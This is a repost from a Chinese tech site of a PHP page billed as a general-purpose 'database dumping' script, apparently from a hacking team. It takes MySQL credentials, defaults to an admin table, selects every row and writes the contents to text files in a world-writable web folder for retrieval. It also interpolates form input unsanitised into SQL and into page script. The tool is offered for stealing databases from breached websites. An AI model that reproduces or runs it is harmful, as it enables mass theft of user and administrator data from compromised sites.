当前位置: 移动技术网 > 网络运营>安全>网站安全 > MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)

MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)

2019年05月25日  | 移动技术网网络运营  | 我要评论

复制代码
代码如下:

<html>
<head>
<title>:: hexi3_securi7y_team...script_filename : <?=$_server["php_self"]?></title>
<style type="text/css">
.font{
size : 2px;
}
</style>
</head>
<body>
<h4>mysql database on tables to txt...</h4>
#_e-mail:go_root#hotmail.com

#_author:hyrz

--------------------------------------------------------

<form action="" method="post" name="submit">
<b>host: </b> <input type="text" name="host" value="127.0.0.1:3306">

<b> user: </b> <input type="text" name="user" value="root">

<b> password: </b> <input type="text" name="pass" value="root">

<b>database check: </b> <input type="text" name="database" value="phpwms">
<b> tables is: </b> <input type="text" name="table" value="pw_admin">

<b>new_data filename:</b> <input type="text" name="back_file" value="data.txt">


<a href = "https://www.jb51.net">移动技术网</a>

<input type="submit" name="submit" value="0utput">

</form>
</body>
<?php
ini_set('display_errors', 1);
set_time_limit(0);
//error_reporting(e_all);
function showmessage($str)
{
$filename = $_server["php_self"];
die('<script>document.write("'.$str.'")</script>');
die('<script>window.localtion="'.$filename.'";</script>');
}
function _printf($str, $type = '')
{
if (empty($type))
echo '<font color="red" face="verdana" size="2px">[+]&nbsp'.$str.'</font>
';
else
echo '<font color="red" face="verdana" size="2px">[#] '.$str.'</font>
';
}
function dirsize($dir) {
@$dh = opendir($dir);
$size = 0;
while ($file = @readdir($dh)) {
if ($file != "." and $file != "..") {
$path = $dir."/".$file;
if (is_dir($path)) {
$size += dirsize($path);
} elseif (is_file($path)) {
$size += filesize($path);
}
}
}
@closedir($dh);
return $size;
}
if (empty($_post['submit'])) exit();
$db_host = $_post["host"];
$db_user = $_post["user"];
$db_pass = $_post["pass"];
$db_database = $_post["database"];
$db_table = $_post["table"];
$backdb_filename = $_post["back_file"];
//endpost
if (empty($db_host)){
$_post["host"] = $db_host;
showmessage("messagebox: host error!");
}elseif (empty($db_user)) {
$_post["user"] = $db_user;
showmessage("messagebox: user error!");
}elseif (empty($db_pass)){
$_post["pass"] = $db_pass;
showmessage("messagebox: pass error!");
}elseif (empty($db_database)) {
$_post["database"] = $db_database;
showmessage("messagebox: database error!");
}elseif (empty($db_table)) {
$_post["table"] = $db_table;
showmessage("messagebox: table error!");
}elseif (empty($backdb_filename)) {
$_post["back_file"] = $backdb_filename;
showmessage("messagebox: backdb_filename error!");
} #endif
if (!is_dir('data_xiaosan')) {
mkdir('data_xiaosan',0777);
}#endif
$sql = mysql_connect($db_host,$db_user,$db_pass) or showmessage('<font color="red" size=2px>[#] connect error ! </font>');
mysql_select_db($db_database,$sql) or die("could not connect: " . mysql_error());
$result = mysql_query("select * from $db_table",$sql) or die("could not connect: " . mysql_error());
$fieldcount = mysql_query("select count(*) from $db_table",$sql);
$f_num = mysql_fetch_row($fieldcount);
_printf('information : --------------','main');
_printf("tablecounts :". + $f_num[0]);
if ($f_num[0] < 500){
$sub1 = $f_num[0] / 2;
} else $sub1 = 500; //endif
$i = 0;
$tmp = '';
while ($row = mysql_fetch_array($result, mysql_num)) {
$i = $i+1;
$tmp .= implode("::", $row)."\n";
if(!($i%$sub1)){
$filename_ = 'data_xiaosan/'.intval($i/$sub1).$backdb_filename;
file_put_contents($filename_,$tmp);
$tmp = '';
}#endif
}#endwhile
mysql_free_result($result);
mysql_close($sql);
if (dirsize('data_xiaosan')>1){
_printf("<b>msg : output_succ!</b>");}else
_printf("err : output fail !"); //endpri
?>
</html>

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网